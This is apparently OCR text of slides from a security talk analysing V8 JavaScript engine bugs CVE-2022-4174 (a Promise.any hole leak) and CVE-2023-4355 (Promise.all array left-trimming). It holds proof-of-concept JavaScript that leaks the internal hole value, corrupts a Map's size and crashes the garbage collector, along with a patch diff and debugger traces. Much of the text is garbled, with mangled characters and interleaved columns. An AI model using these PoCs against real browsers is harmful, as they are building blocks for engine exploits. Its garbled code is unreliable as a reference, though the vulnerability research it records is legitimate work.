js—implicit context: Context, receiver: JSAny, target: JSFunction)(
value: JSAny): JSAny (
let errorsRef:&FixedArray = ContextSlot(

context,
PromiseAnyRejectElementContextSlots::kPromiseAnyRejectElementErrorsSlot)
let errors = xerrorsRef;

let remainingElementsCount = xContextSlot (
context,
PrromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot);

[...1
errors.objects[index] = value;

transitioning macro PerformPromiseAny(...) {
[...]
if (remainingElementsCount == @) deferred {
[...]
const errorsRef:&FixedArray = ContextSlot(
rejectElementContext,
PromiseAnyRejectElementContextSlots::

kPromiseAnyRejectElementErrorsSlot);
const errors: FixedArray = *xerrorsRef;
[...]
const error = ConstructAggregateError(errors);
goto Reject(error);
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e |SsSue

» remainElementCount BN¥IR1EE & 1 > EEFXREIE element A +1

def PerformPromiseAny(
iteratorRecord,
promiseResolveFunction

) {
rejectElementContext = {
'‘AnyRejectElementRemaining’': 1,

'Capability': ‘resolve’': Promise.__resolve_internal

for promise in iteratorRecord:
nextPromise = Reflect.apply(Promise.resolve, promise,
rejectElement = CreatePromiseAnyRejectElementFunction()

rejectElementContext|['AnyRejectElementRemaining'] += 1
nextPromise.then(rejectElementContext|'Capability'], rejectElement)
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e errors BEE4{EAEIET » RBTEM reject value » ZENBEZHEE A\

o A remainElementCount (2) > index + 1 (0+1) &2} errors S HECHILE SR
Promise 8{=12% » M ZIEED = undefined (Hole value) # &

// 9. Set errors[index] to x.

const newCapacity = IntPtrMax(SmiUntag(remainingElementsCount), index + 1);

if (newCapacity > errors.length_intptr) deferred {
errors = ExtractFixedArray(errors, 0, errors.length_intptr, newCapacity);
x*ContextSlot(
context,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementErrorsSlot) = errors;

}

errors.objects[index] = value;
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» Hole - v8 H—{E BB 4F5% = FHY object
o —ARHYIBIEHIRTEAEZE index By array » FARERREBEENE S A HIRE
e H}E1E JS FEEE R undefined value

DebugPrint: 0x265c0024cf5d: [JSArray]
map: 0x265c0014ed39 <Map[16](HOLEY_SMI_ELEMENTS)> [FastProperties]
prototype: 0x265c0014e799 <JSArray[0@]>
elements: 0x265c0015b83d <FixedArray[5]> [HOLEY_SMI_ELEMENTS (COW)]
length: 5
properties: 0x265c00000219 <FixedArray[0@]>
ALl own properties (excluding elements): {
Ox265c00000e31: [String] in ReadOnlySpace: #length: 0x265c00102141 <

- elements: 0x265c0015b83d <FixedArray[5]> {
0: 1

1-3: Ox265c0000026d <the_hole_value>
4. 4

“var a =[1,,,4]” B9 DebugPrint &
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* Hole - v8 F—{E BBk =F=HY object

5)_ —— \ t .\.—I‘I—
* 7R 3|5 HA 5 TUENYS Hole 12 » FLEERE JS int | BN4ETB TR
[|\\ ,\, O e |_, bn N In erna ,\\
| I BHRYKEE
object » B object BIRFEFEHEAARR:
. . element | deleted | bucket | buckets | buckets ke value next T
Construct a JSMap with size == -1 count | count | count | 0] | [1] ! L
0 0 2 1 -1 #undef | #undef | #undef | ..
map.set(1, 1) ) elemjits[O]
:_ ________ __ —_—__M___(_)_' ________ ’; 1 0 2 0 -1 1 1 -1 #undef | #undef | #undef
,var map = newl ap\()- | | A S
| let hole = triggerHole():; | map.set(hole, 1) N
| : 2 0 2 1 -1 1 1 1 f’heHole 1 0o
Imap.set (1, 1), : A | [TTTTmmmmmmmsmmmseeees
| map. set (hole, 1) ; | map.delete(hole) | -
: map .delete (hole) ; : 1 1 2 1 -1 1 1 -1 |TheHole|TheHole| 0
XY Y (N AN AN N NN SO (S S [N S N S R .
: map . delete (hOle) ’ : map.delete(hole), and shrink | A ‘f\ !
| map .delete (1) ; I S RDEE
: : 0 0 2 0 -1 1 1 -1 #undef | #undef | #undef |
S I [ S S NS S S — S S S S ——
| console log(map.size) // -1 | map.delete(1), and shrink again
e
-1 0 2 -1 -1 #undef | #undef | #undef | #undef | #undef | #undef

A4
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e PoC - E&H—1E{ER Promise Object » 7£ reject handler leak Hole

» PS. E2{FH Promise.any.call K% > BFZ LA extend Promise

let leak;
function MyCls(executor) {
executor

custom_reject => leak = custom_reject.errors; %DebugPrint(custom_reject.errors);

) ;
¥

MyCls.resolve = function (ret) { return ret };
let my_promise = {

then(resolve, reject) {

reject();

}
|-
Promise.any.call(MyCls, [my_promisel);
console.log(leak([1]);
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» BERRIUFBE - BERE-LBIR

« {EFHHEZEZIAY error.errors FE 44 Promise internal [RIEE

L =

« FEERHTTES capability.reject 7T 8EE 2! raw errors value K leak

e Builtin PromiseAny FE1R# reject th & IENYZ capability.reject

ioning javascript builtin PromiseAny(
] icit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {
iveContext = LoadNativeContext(context);

Reject(e: JSAny) deferred {

context, UnsafeCast<Callable>(capability.reject), Undefined,
nsafeCast<]SAny>(e));
return capability.promise;
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./d8 --allow-natives-syntax --shell test.js
DebugPrint: Ox3578080c85e5: [JSArray|]
- map: Ox357808283955 <Map(PACKED_ELEMENTS)> |[FastProperties]
- prototype: 0x35780824b2bl <JSArray[0]>
- elements: Ox3578080c8429 <FixedArray[2]> [PACKED_ELEMENTS]
- length: 2
properties: 0x3578080426e5 <FixedArray[0]> {
Ox35780804464d: [String] in ReadOnlySpace: #length: 0x3578081c2161 <AccessorInfo> (const accessor descriptor)

elements: Ox3578080c8429 <FixedArray[2]> {
O: Ox357808042309 <undefined>
1l: Ox357808042381 <the_hole>
1
Ox357808283955: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: ©
elements kind: PACKED_ELEMENTS
unused property fields: ©
enum length: invalid
back pointer: 0x35780828392d <Map(HOLEY_DOUBLE_ELEMENTS)>
prototype_validity cell: 0x3578081c244d <Cell value= 1>
instance descriptors #1: Ox35780824b935 <DescriptorArray[l]>
transitions #1: Ox35780824bSbl <TransitionArray|[4]>Transition array #1:
Ox357808044f61 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x35780828397d <Map(HOLEY_ELEMENTS)>

prototype: 0x35780824b2bl <JSArrayl([0]>

constructor: 0x35780824b185 <JSFunction Array (sfi = 0x3578081ce50d)>
dependent code: Ox3578080421e9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
construction counter: 0

hole

119



Promise
CVE-2022-4174

e Patch Commit : HEX1EE B HE

diff --git a/src/builtins/promise-any.tq b/src/builtins/promise-any.tq
index ffb285a..9dfb97e 100644
-—— a/src/builtins/promise-any.tq

+++ b/src/builtins/promise-any.tq

@@ -119,7 +119,7 @@
kPromiseAnyRejectElementRemainingSlot);

// 9. Set errors[index] to x.
- const newCapacity = IntPtrMax(SmiUntag(remainingElementsCount), index + 1);
+ const newCapacity = index + 1;
if (newCapacity > errors.length_intptr) deferred {
errors = ExtractFixedArray(errors, 0, errors.length_intptr, newCapacity);
xContextSlot(
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|
overVIew transitioning macro PromiseAllResolveElementClosure<F: type>

(value: JSAny, function: JSFunction, ...): JSAny
{

let promiseContext: PromiseAllResolveElementContext;

(500!

o ISsue promiseContext = context;

(500!

const nativeContext = LoadNativeContext(promiseContext);

o [1] Closure EﬂEE%B%\H%— funCtion_ConteXt function.context = nativeContext; // [1]

{it promise context BMARK native context [

let values = xContextSlot(
promiseContext,
PromiseAllResolveElementContextSlots::

* [2] 1& prOmise (funCtiOn) COnteXt I:IJHXHj kPromiseAllResolveElementValuesSlot); // [2]
fixed array (values) o

remainingElementsCount = remainingElementsCount - 1;

[...]
if (remainingElementsCount == @) { // [3]

ool

const valuesArray = NewJSArray(arrayMap, values); // [4]
Call(promiseContext, resolve, Undefined, valuesArray); // [5]

Folleac!
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Ove rVi ew /I Create contextA and contextB, enter contextA:

Handle<Context> contextA = Context::New(isolate) ;
Handle<Context> contextB = Context::New(isolate) ;
Context::Scope scopelA (contextA) ;

» /8 context 1,7 ¥ —Ex JavaScript Code B3 contextA  uiti

ITI=E ovasait W oo | sevesow
HM1TIRIZA] Scope el I I

o Znﬁ
I/l Enter contextB:

Context::Scope scopeB (contextB) ;

® IZ' %& L-I_\E % contextB Built in

i Custom
Jav t
—iL JavaScript JavaScript
functions Functi Obi
and objects L e

 Builtin function

/I Exit contextB and so return to contextA:
° Context::~Scope contextB;

L
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Overview

, _ pwndbg> job 0x2d650024da35
pwndbg> job $rdi 0x2d650024da35: [Context]

Ox2d650024da65: [Function] map: 0x2d6500151899 <Map(FUNCTION_CONTEXT_TYPE)>

map: Ox2 1443¢c1 <Mapl?2 type: FUNCTION_CONTEXT_TYPE
p: 0x2d6500 3¢ pL281( scope_info: 0x2d6500000f61 <Scopelnfo>

prototype: 0x2d6500144275 <JS _ previous: 0x2d6500000251 <undefineds
elements: Ox2do500000219 <Fix native_context: 0x2d6500143c@d <NativeContext[281]>

hash: 1 length: 5
’ elements:

function prototype: <no-proto . Ox2d6500000F61

pwndbg> job 0x2d6500143c@d

pwndbg> job Ox2d650024da65 ox2de500143ced: [NativeContext] in OldSpace
. . - map: 0x2d6500143be5 <Map(NATIVE_CONTEXT_TYPE)>
0x2d650024dab5: [Function] _ i pc. naTIve conTEXT_TYPE
map . ®X2d65®®l443(:1 <Ma\ - scope_info: 0x2d6500006285 <ScopeInfo SCRIPT_SCOPE>

previous: 0

pr‘ototype: AOx2d65001447 - native_context: 0x2d6500143c@d <NativeContext[281]>
extension: Ox2d65001541c5 <JSGlobalObject>

elements: Ox2d650000021' [rength: 281

. elements:

. : 0x2d6500006285 <ScopeInfo SCRIPT_SCOPE>
hash: 1

. . 0
funCtlon pPOtOtype . <NO 0x2d65001541c5 <JSGlobalObject>
shared 1nfo: 0Ox2d6e5002b 0x2d6500143bd5 <JSGlobalProxy>
6 2d65®®®®® 25 S 0x2d650024c2e5 <Other heap object (EMBEDDER_DATA_ARRAY_TYPE)

name: X e <D’
builtin: PromiseAllReso

Ox2do500000251 <undefined>

0x2d650014ee99 <JSFunction next (sfi 0x2d65004519al)>
formal_parameter_count:
kind: NormalFunction

0x2d650014eeb5 <JSFunction next (sfi 0x2d65004519cd)>
0x2d650014c6e5 <JSFunction apply (sfi = 0x2d65004576f5)>
0x2d650014c595 <JSFunction construct (sfi = 0x2d6500457721)>
context: Ox2d6500143c@d <NativeContext[281]>
code: Ox2do6500444at9 <(Code BULILTIN PromiseAlLLResolveElementClosure>
properties:
All own properties (excluding elements): {
0x2d6500000e31: [String] 1n ReadOnlySpace: #length: 0x2d65001021d1
0x2d6500000e5d: [String] 1n ReadOnlySpace: #name: 0x2d65001021b9 <

<Scopelnfo>

shared_info: 0x2d65002b2b0d < : @x2d6500000251 <undefined>

name: 0x2d6500000e25 <String[ f; 0024085 <Promcatanabilit
builtin: PromiseAllResolveEle ;@:&ﬂEQQZMbW9< R e

formal_parameter_count: 1

<FixedArray[1]>

kind: NormalFunction
context: @x2d650024da35 <FunctionContext[5]>
code: UxZ2do500444at9 <(Code BULLILN PromiseAlLResolveElementClosure>
properties:
All own properties (excluding elements): {
0x2d6500000e31: [String] in ReadOnlySpace: #length: 0x2d65001021d1 <Acc
0x2d6500000e5d: [String] in ReadOnlySpace: #name: 0x2d65001021b9 <Acces

Ooco~NOTUVLT PP WNEOS

- feedback vector: feedback metadata i1s not available in SFI
pwndbg> x/101 $rip
=> Ox7fcc8c4a2f84 <Builtins_PromiseAllResolveElementClosure+4>: push

feedback vector: feedback metadata 1s not available 1in SFI

[1] Closure E¥Al [1] Closure E¥i1&
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|
overVIew transitioning macro PromiseAllResolveElementClosure<F: type>

(value: JSAny, function: JSFunction, ...): JSAny

{

let promiseContext: PromiseAllResolveElementContext;

(500!

o ISsue promiseContext = context;

(500!

const nativeContext = LoadNativeContext(promiseContext);

° [3] yn%;&%%u_ltﬁ’\j element function.context = nativeContext; // [1]
o [4] JEH fixed array ;E%}J;z/ﬁ\vﬂ: JSArray let values = *ContextSlot

promiseContext,
PromiseAllResolveElementContextSlots::

kPromiseAllResolveElementValuesSlot); // [2]
o [5] [0Y executor AN resolve handler .

remainingElementsCount = remainingElementsCount - 1;

[...]
if (remainingElementsCount == @) { // [3]

ool

const valuesArray = NewJSArray(arrayMap, values); // [4]
Call(promiseContext, resolve, Undefined, valuesArray); // [5]

olleacl
¥
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|
overVIew transitioning macro PromiseAllResolveElementClosure<F: type>

(value: JSAny, function: JSFunction, ...): JSAny
{

let promiseContext: PromiseAllResolveElementContext;

(500!

o ISsue promiseContext = context;

(500!

const nativeContext = LoadNativeContext(promiseContext);

’ Leﬂ:_trimming % EIEE JSArray El/i”gi'ﬂ:,j: 'f"E function.context = nativeContext; // [1]
T2 FRFEERY Hole value JRIZVECIRERAVER IS

let values = xContextSlot(
= U= j:t 3‘7=;}JEJ 1&1—\—1-”: PromiseAllResolveElementContextSlots::
CIz
¢ = ;:ITJ- array El\\ﬁ E.*y.g.a j:l :ﬁ: lL kPromiseAllResolveElementValuesSlot); // [2]

promiseContext,
[lll]

remainingElementsCount = remainingElementsCount - 1;

A0SR 1E resolve AZZAE left-trimming [4,5] -
’%\g:ﬁt& flxed array [2] 1}3?5@}?\7_':5{]11‘[1& if[fi'(.er]nainingElementsCount ==0) { // [3]

const valuesArray = NewlSArray(arrayMap, values); // [4]
Call(promiseContext, resolve, Undefined, valuesArray); // [5]
Foleaal
}
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Overview

array = Array(102);
array.shift();
array.shift();

DebugPrint: 0x2f8b0024d3d5: [JSArray]
- map: Ox2f8b0@14ed39 <Map[16](HOLEY_SMI_ELEMENTS)> [FastProperties] In file: /home/pk/d8/20240218_dh/CVE-2023-4355/v8/src/objects/elements.cc
prototype: Ox2f8b0014e799 <JSArray[0@]> 2282

) : 2283  static void MoveElements(Isolate” isolate, Handle-<JSArray- receiver,
ilemigtsiegx2f8b®®24d3e5 <FixedArray[102]> [HOLEY_SMI_ELEMENTS] 5784 Handle-FixedArrayBase- backing_store, int dst._index,
ength:

_ _ 2285 int src_index, int len, int hole_start,
properties: Ox2f8b00000219 <FixedArray[0]> 2286 int hole_end) 1

ALl own properties (excluding elements): { 2287 DisallowGarbageCollection no_gc;
Ox21f8b000O0e31: [String] in ReadOnlySpace: #length: 0x2f8b0010214 2288 BackingStore dst_elms — BackingStore: :cast(“backing_store);

2289 dst_index — 0
- elements: 0x2f8b0024d3e5 <FixedArray[102]> { c290 Lsolate %66Pt(d5t_e1m5)) ¢

. 2291 dst_elms - BackingStore: :cast(
0-101: 0x2f8b0000026d <the_hole_value> 2292 isolate ~heap() -LeftTrimFixedArray(dst_elms, src_index));

[EZNHY array [1] shift B9IBFE
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Overview

array = Array(102);
array.shift();
array.shift();

DebugPrint: 0x2f8b0024d3d5: [JSArray]
map: Ox2f8b0014ed39 <Map[16](HOLEY_SMI_ELEMENTS)> [FastProperties]
prototype: Ox2f8b0014e799 <JSArray[0]>
elements: Ox2f8b0024d3e5 <FixedArray[102]> [HOLEY_SMI_ELEMENTS]
length: 102
properties: Ox2f8b00000219 <FixedArray[Q]>
ALl own properties (excluding elements): {
Ox2f8b000AAe31l: [String] in ReadOnlySpace: #length: 0x2f8b0010214

DebugPrint: 0x2f8b0024d3d5: [JSArray]
map: Ox2f8b0014ed39 <Map[16](HOLEY_SMI_ELEMENTS)> [FastProperties]
prototype: 0x2f8b0014e799 <JSArray[0]>
elements: 0Ox2f8b0024d3e9 <FixedArray[101]> [HOLEY_SMI_ELEMENTS]
length: 101
properties: Ox2f8b00000219 <FixedArray[0]>
ALl own properties (excluding elements): {
Ox2f8b000AAe31: [String] in ReadOnlySpace: #length: Ox2f8b0010214
- elements: 0x2f8b0024d3e5 <FixedArray[102]> | _
0-101: Ox2f8b0000026d <the hole values - elements: 0x2f8b0024d3e9 <FixedArray[101]> {
0-100: Ox2t8b0VOVA26d <the_hole_value>

JRZANAY array

[1] shift B9%S
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Overview

array = Array(102);
array.shift();
array.shift()

DebugPrint: 0x2f8b0024d3d5: [JSArray] DebugPrint: 0x2f8b0024d3d5: [JSArray]
map: Ox2f8b0014ed39 <Map[16](HOLEY_SMI_ELEMENTS)> [FastProperties] map: Ox2f8b0A14ed39 <Map[16](HOLEY_SMI_ELEMENTS)> [FastProperties]
prototype: 0x2f8b0014e799 <IJSArray[0@]> prototype: 0x2f8b0014e799 <JSArray[0]>
elements: Ox2f8b0024d3e9 <FixedArray[101]> [HOLEY_SMI_ELEMENTS] elements: Ox2f8b0024d3e9 <FixedArray[101]> [HOLEY_SMI_ELEMENTS]
length: 101 length: 100
properties: Ox2f8b0000A219 <FixedArray[0]> properties: 0x2f8b00000219 <FixedArray[0]>
ALl own properties (excluding elements): { ALl own properties (excluding elements): {
Ox2f8b0A00Ve31: [String] in ReadOnlySpace: #length: 0x2f8b0010214 Ox2f8b00A0Ve31: [String] in ReadOnlySpace: #length: 0x2f8b00102141

elements: Ox2f8b0024d3e9 <FixedArray[101]> { elements: Ox2f8b0024d3e9 <FixedArray[101]> {
0-100: Ox2f8b0VVVA26d <the_hole_value> 0-100: 0x2f8b000VR026d <the_hole_value>

[1] shift BY4S [2] shift BY4S
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Proof-Of-Concept

0x00007f5f0b7db803 1 = globalThis gc || function() {

0x0000000000000006 in ?7 try { new ArrayBuffer(2 xk 34); } catch { }
0x00007ffdoff61bb0 1
Oxbfd16c37815faf00 i
0x00007ffdoff61bb0 1

pwndbg> bt

#0 Ox000055bb4e6f515e in std::__Cr::__cxx_atomic_load<short> (__a=0x893beadbefb, _
0x000055bb4e6f510b in std::__Cr::__atomic_base<short, false>::load (this=0x893bg Oxbfd16 Fafo i i class CustomPromise e
0x000055bb4e6F50ch in std::_ Cr::atomic_load_explicit<short> (_0=0x893beadbef6 xbfd1oc37815fatld in class Lu —
0x000055bb4e6f509f in v8: :base: :Relaxed_Load (ptr=0x893beadbef6) at ../../src/bq 0x00007ffdoff61b58 B constructo (EXECUtOI’) {
0x000055bb4ebf15e5 in v8::internal::Map: :instance_type (this=0x7ffdoff60088) at 0x000008930014bead "
0 T » . - 0x000008930014bead in ?: executor(array => {
x00007f5f0c@a774d in v8::internal::InstanceTypeChecker: :IsFreeSpaceOrFiller (m )
0x00007t5f0c@a771la in v8::internal::IsFreeSpaceOrFiller (obj=..., cage_base=... 0x0000000000000002 in ?: array. shift();
0x00007f5f0c@a76la in v8::internal::IsFreeSpaceOrFiller (obj=..., cage_base=.. 0x0000089300000151 1
Ox00007f5f0c299a79 in v8::internal: :MarkCompactCollector: ProcessMar'kmgWor'khs 0x000008930014bed5 1in ?7
mode=v8: :internal : :MarkCompactCollector: :MarkingWorklistProcessingMode: : kDefault 0x000008930015bcld in 7?7 gcl);
Ox00007f5f0c299658 in v8::internal: :MarkCompactCollector: :ProcessEphemerons (th Ox00007ffdoffelba8 in ?: gc( -
0x00007f5f0c2990dc in v8::internal: :MarkCompactCollector: :MarkTransitiveClosure 0x00007ffdoffolbo8 1 ¥, noop =>
0x000071t5f0c29bl4e in v8::internal: :MarkCompactCollector: :MarkTransitiveClosure 0x0000000000000002 in ?:
0x00007f5f0c28f1d4 in v8::internal: :MarkCompactCollector: :MarkLiveObjects (this 0x0000000000000022 in ?7 return
0x000071t5f0c28de28 in v8::internal: :MarkCompactCollector: :CollectGarbage (this= Ox00007fFfdoff61bal8 i
0x00007f5f0c211cf4 in v8::internal: :Heap: :MarkCompact (this=0x55bb4fdc@298) at 0x00007f5f0ae35286 i Bu11t1ns _InterpreterEntryTrampoline () f
0x000071t5f0c20eea8 in v8::internal: :Heap: :PerformGarbageCollection (this=0x55bbA4 0x000008930015c221 in ?? ()
gc_reason=v8: :internal: :GarbageCollectionReason: : kExternalMemoryPressure, colleg 0x000008930014bead in ?? () static resolve() {
0x0000715f0c20bc8c in v8::internal: :Heap::CollectGarbage (this=0x55bb4fdc@298, s 9o
gc_callback_flags=(v8: :kGCCallbackFlagSynchronousPhantomCallbackProcessing | v8 gigggggg;ggg;;g;ég : 77 8 reiturn' .then(resolve) {
0x00007f5f0c20c3d9 in v8::internal: :Heap: :CollectAllGarbage (this=0x55bb4fdc@29¢ 0x000008930015c22d in 2?2 () if (!first_resolve)
gc_callback_flags=(v8: :kGCCallbackFlagSynchronousPhantomCallbackProcessing | v8 0x0000000000000001 in 2?2 O first_resolve = resolve;
0x000071t5f0c20dde3 in v8::internal: :Heap: :ReportExternalMemoryPressure (this=0x] Ox000008930015db5d 1 77 %
0x000071t5f0b9e87c7 in v8::Isolate: :ReportExternalAllocationLimitReached (this=0 X . else
0x00007f5f0b%eb@44 in v8::Isolate::AdjustAmountOfExternalAllocatedMemory (this= 0x000008930015bcld ) 770
0x00007f5f0c09d002 in v8::internal: :ArrayBufferSweeper: :IncrementExternalMemory( 0x00007fdoff61bt0 _ 77 O
0x000071t5f0c@9cfa5 in v8::internal: :ArrayBufferSweeper: :Append (this=0x55bb4fdfq 0x00007f5f0ae35286 ' Builtins_InterpreterEntryTrampoline () f
0x00007t5f0c21b8d6 in v8::internal: :Heap: :AppendArrayBufferExtension (this=0x55k 0x0000039300143bd5 72 0O
0x00007f5f0c7a5df4 in v8::internal::JSArrayBuffer::Attach (this=0x7ffdOff614b0, 0x000008930015db5d in ?? ()
0x00007f5f0bb5652¢c in v8::internal: :(anonymous namespace): :ConstructBuffer (iso 0x0000000000000066 in ?? ()
initialized=v8::internal::InitializedFlag: :kZeroInitialized) at ../../src/built 0x000008930015c181 in ?? ()
0x00007f5f@bb52fa5 in v8::internal: :Builtin_Impl_ArrayBufferConstructor (args=. 0x0000000000000002 in ?? () array = Array(102);
0x00007f5f@bb523fe in v8::internal: :Builtin_ArrayBufferConstructor (args_length 0x000008930015dead in ??7 () e 1 — null:
0x00007f5f0b20dd3d in Builtins_CEntry_Returnl_ArgvOnStack_BuiltinExit () from / 0x000008930015db7d in ?? () LA Jriaeoots =L
0x00007f5f0ae363a3 in Builtins_InterpreterPushArgsThenFastConstructFunction () f 0x00007ffdoff61c80 in 72?2 OO CustomPromise.all(array);

Ox000071f5f@b4a4d5a in Builtins_PromiseAllResolveElementClosure first resolve();

ds Promise {

resolve():;
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Proof-Of-Concept

= globalThis gc || function() {
try { new ArrayBuffer(2 xk 34); } catch { }

0x00007f5f0b7db803 i
0x0000000000000006 in 7

Ox00007ffdoff61bb® in 2?2 O

Oxbfd16c37815faf@d in ?? O

Ox00007ffdoff61bbd in ?? O

Oxbfdloc37815faf@@d in 7?7 () class CustomPromise ex
Ox00007ffdOff61b58 in ?? O (executor) {
0x000008930014bead in ?? O

0x000008930014bead in 2?2 () executor(array => {
0x0000000000000002 in ?? (O array.shift();

pwndbg> bt

#0 Ox000055bb4ebf515e 1 td::__Cr::__cxx_atomic_load<short> (__a=0x893beadbef6,
0x000055bb4e6f510b in std::__Cr::__atomic_base<short, false>::load (this=0x893bg
0x000055bb4ebf50chb 1 td::__Cr::atomic_load_explicit<short> (__o=0x893beadbefb6
Ox000055bb4e6f509f 1 : :base: :Relaxed_Load (ptr=0x893beadbef6) at ../../src/bg
0x000055bb4ebf15e5 1 ::internal: :Map: :instance_type (this=0x7ffdoffe0088) at
0x00007f5f0c@a774d 1 : :internal: :InstanceTypeChecker: :IsFreeSpaceOrFiller (m

ds Promise {
constructo

resolve handler

0x000071t5f0c@a771a ip v8::internal::IsFreeSpaceOrFiller (obj=..
internal:

Ox00007f5f0c@a76la 1
Ox000071f5f0c299a79 1

mode=v8&: :internal: :

v8::
v8:

:internal:

:IsFreeSpaceOrFiller (ob
:MarkCompactCollector: :P

irkCompactCollector: :MarkingWorklistPro

Ox00007f5f0c299658 1
0x00007f5f0c2990dc 1
0x00007f5f0c29bl4e 1
0x00007f5f0c28f1d4 1
0x00007f5f0c28de28 1
0x00007f5f0c211cf4 1
Ox00007f5f0c20eeald 1
gc_reason=v8: :intern

Ox00007f5f0c20bc8c

gc_callback_flags=(vp:

0x00007f5f0c20c3d9

1

1

v8:
v8:
v8:
v8:
v8:
v8:
v8:

v8::

:internal:
:internal:
:internal:
:internal:
:internal:
:internal:
:internal:

internal:

:MarkCompactCollector::
:MarkCompactCollector::

p
M
:MarkCompactCollector::M
:MarkCompactCollector::M
:MarkCompactCollector: :C
:Heap: :MarkCompact (this
:Heap: :PerformGarbageCol
1::GarbageCollectionReason: :kExternalM

:Heap: :CollectGarbage (t

., cage_base=. ..
=..., cage_base=..

ocessMark1ngWork115|
essingMode: : kDefault
ocessEphemerons (th
rkTransitiveClosure
rkTransitiveClosure
rkLiveObjects (this

)L LectGarbage (this=

0x55bb4fdc0298) at
ection (this=0x55bbA
moryPressure, colled
15=0x55bb4fdc0298,

:kGCCallbackFlagSynchronousPhantomCalibackProcessing | v8

v8:

gc_callback_flags=(v&::

Ox00007f5f0c20dde3
Ox00007f5f0b9e87c7
0x00007f5f@b9ebd44
0x00007f5f0c09d00?2
0x00007f5f0@c@9cfa5
0x00007f5f0c21b8d6
0x00007f5f0c7a5df4
0x00007f5f@bb5652¢

0x00007f5f@bb52fa5
0x00007f5f@bb523fe
0x00007f5f0b20dd3d
0x00007f5f0@ae363a3

in
in
1in
in
1n
1n
in
in

1n
in

v8:
v8:
v8:
v8:
v8:
v8::
v8:
v8::
initialized=v8: :1internal:
v8:
v8:

:Isolate:

:internal:
internal:
:internal:
internal:
:InitializedFlag: :kZeroInitialized) at .
:internal: :Builtin_Impl_ArrayBufferConstructor (args=.
:internal: :Builtin_ArrayBufferConstructor (args_length

agsynchronousPhantomia

:internal: :Heap: :CollectAllGarbage] (this=0x55bb4fdc@29§

backProcessing | v8

:internal: :Heap: :ReportExternalMemoryPressure (this=0x]
:ReportExternalAllocationLimitReached (this=0
:Isolate: :AdjustAmountOfExternalAllocatedMemory (this=
:internal:

:ArrayBufferSweeper: :IncrementExternalMemory(
:ArrayBufferSweeper: :Append (this=0x55bb4fdfq
:Heap: : AppendArrayBufferExtension (this=0x55H
:JSArrayBuffer: :Attach (this=0x7ffdoff614b0,
: Canonymous namespace): :ConstructBuffer (iso

./../src/built

in Builtins_CEntry_Returnl_ArgvOnStack_BuiltinExit () from /
in Builtins_InterpreterPushArgsThenFastConstructFunction () f

0x0000089300000151 1
Ox000008930014bed5 1
0x000008930015bcld 1
Ox00007ffdoffelba8 1
Ox00007ffdoff61b68 1
Ox0000000000000002 1
Ox0000000000000022 1
Ox00007ffdoffelba8 1
Ox00007t5f0ae35286 1
0x000008930015c221 1
0x000008930014bead 1
0x000008930015bcld 1
Ox0000000000000056 1
Ox000008930015c22d 1
0x0000000000000001 1
0x000008930015db5d 1
0x000008930015bcld 1
Ox00007ffdoffelbfo 1
Ox00007f5f0ae35286 1
0x0000089300143bd5 1
Ox000008930015db5d 1
0x0000000000000066 1
Ox000008930015c181 1
Ox0000000000000002 1
0x000008930015dead 1
0x000008930015db7d 1
Ox00007ffdoff61c80 1
Ox00007f5f@b4add5a 1

?7?
27
27
27
27
77
?7?
?7?

Builtins_InterpreterEntryTrampoline () f

27
?7?
27
77
?7?
?7?
27
27
?7?

Builtins_InterpreterEntryTrampoline () f

77
27
?7?
27
77
?7?
27
22

Builtins_PromiseAllResolveElementClosure

O
O
O
O
O
O
O
O

O
O
O
O
O
O
O
O
O

O
O
O
O
O
O
O

[

gc();
}I noop ==

return

static resolve() {
return

then(resolve) {

if (!first_resolve)

first_resolve =
else
resolve():;

array = Array(102);
first _resolve = null;

resolve;

CustomPromise.all(array);

first_resolve();




CVE-2023-4355

Proof-Of-Concept

Crash B3 —%& back trace » {B{AREE _R gc fiFss

pwndbg> bt

#0

#1

#2
#3
e
75

#6
#(

#8
#9

Ox000055adabf23dfe 1n std::__Cr::__cxx_atomic_load<char> (__a=0x1d24beadbef5, __or
at ../../third_party/libc++/src/include/__atomic/cxx_atomic_impl.h:356
0x000055adabf23dab 1n std::__Cr::__atomic_base<char, false>::load (this=0x1dZ24bead
at ../../third_party/libc++/src/include/__atomic/atomic_base.h:56
0x000055adabf23dbb 1n std::__Cr::atomic_load_explicit<char> (__o=0x1d24beadbef5,
0x000055adabf@d4bt 1n v8::base::Relaxed_Load (ptr=0xl1dZ24beadbef5 "") at ../../src
Ox00007f7a19d496e5 1n v8::internal::Map::visitor_id (this=0x7f7al135¢c3740) at ../..
Ox00007f7a19eb35fe 1n v8::internal::HeapVisitor<int, v8::internal: :ConcurrentMarki
at ../../src/heap/objects-visiting-inl.h:123

0x0000717a19ebd?41 1n v8::1internal: :ConcurrentMarking: :RunMajor (this=0x55adacdabc
should_keep_ages_unchanged=false) at ../../src/heap/concurrent-marking.cc:316
0x000071f7a19f0b2fb 1n v8::1nternal: :ConcurrentMarking: :JobTaskMajor: :Run (this=0x5
0x00007f7alcc@41b9 1n v8::platform: :Default]obWorker: :Run (this=0x55adacdb4d50) at
Ox00007f7alcc@d99f 1n v8::platform::DefaultWorkerThreadsTaskRunner: :WorkerThread: :
Ox00007f7alccb3496 1in v8::base::Thread: :NotifyStartedAndRun (this=0x55adacd5b850)
Ox00007f7alccblf56 1n v8::base::ThreadEntry (arg=0x55adacd5b850) at ../../src/base
Ox00007f7a15497b5a 1n start_thread (arg=<optimized out>) at ./nptl/pthread_create.
0x000071f7a155285fc 1n clone3d () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:78

132



CVE-2023-4355

Proof-Of-Concept

gc = globalThis.gc || function() {
try { new ArrayBuffer(2 xk 34); } catch { }

static void MoveElements(Isolatex isolate, Handle<JSArray> receiver,

Handle<FixedArrayBase> backing_store, int dst_index,
int src_index, int len, int hole_start,
int hole_end) {

DisallowGarbageCollection no_gc;

BackingStore dst_elms = BackingStore::cast(xbacking_store);

if (len > JSArray::kMaxCopyElements && dst_index == 0 &&

isolate->heap()->CanMoveObjectStart(dst_elms)
dst_elms = BackingStore::cast(
isolate->heap()->LeftTrimFixedArray(dst_elms, src_index));

}

class CustomPromise extends Promise {
constructor(executor) {
executor(array => {
array.shift();

gc();
gc();
}, noop => _
return

receiver->set_elements(dst_elms);

